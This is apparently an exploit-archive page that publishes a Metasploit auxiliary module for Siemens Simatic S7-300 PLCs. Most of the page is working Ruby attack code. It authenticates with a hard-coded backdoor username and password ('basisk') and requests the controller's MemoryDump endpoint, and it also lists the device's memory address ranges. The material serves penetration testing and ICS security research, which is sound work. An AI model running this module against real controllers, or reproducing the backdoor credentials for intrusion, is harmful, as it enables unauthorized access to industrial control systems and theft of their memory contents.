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Siemens Simatic S7-300 PLC Remote Memory Viewer

Siemens Simatic S7-300 PLC Remote Memory Viewer
Posted Jul 14, 2012
Authored by Dillon Beresford | Site metasploit.com

This Metasploit module attempts to authenticate using a hard-coded backdoor password in the Simatic S7-300 PLC and dumps the device memory using system commands.

tags | exploit
MD5 | 877d8e1cb2ff5ea6be0407d60594b671

Siemens Simatic S7-300 PLC Remote Memory Viewer

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# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',
'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in
the Simatic S7-300 PLC and dumps the device memory using system commands.
Mode: Values 8, 16 or 32 bit access
Valid address areas are:
80000000 - 81FFFFFF SD-Ram cached
A0000000 - A1FFFFFF SD-Ram uncached
A8000000 - A87FFFFF Norflash
AFC00000 - AFC7FFFF ED-Ram int. uncached
BFE00000 - BFEFFFFD COM-ED-Ram ext.
C0000000 - C007FFFF ED-Ram int. cached
D0000000 - D0005FFF Scratchpad data int.
D4000000 - D4005FFF Scratchpad code int.
F0100000 - F018FFFF SPS-Asic 16-Bit access only
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'June 2011'
))
register_options(
[
Opt::RPORT(8080),
OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),
OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),
OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),
OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),
OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),
OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])
], self.class)
end

def run_host(ip)

begin
user = datastore['USER']
pass = datastore['PASS']

print_status("Attempting to connect to #{rhost}:#{rport}")
len = '1024'
login = send_request_raw(
{
'method' => 'GET',
'uri' => "/login?User="+user+"&Password="+pass
})


if (login)

request = send_request_raw(
{
'method' => 'GET',
'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']
})
if (request and request.code == 200)

print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")
elsif (request and request.code)
print_error("Attempt #HTTP error #{request.code} on #{rhost}")
end
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::LocalJumpError
end
end
end

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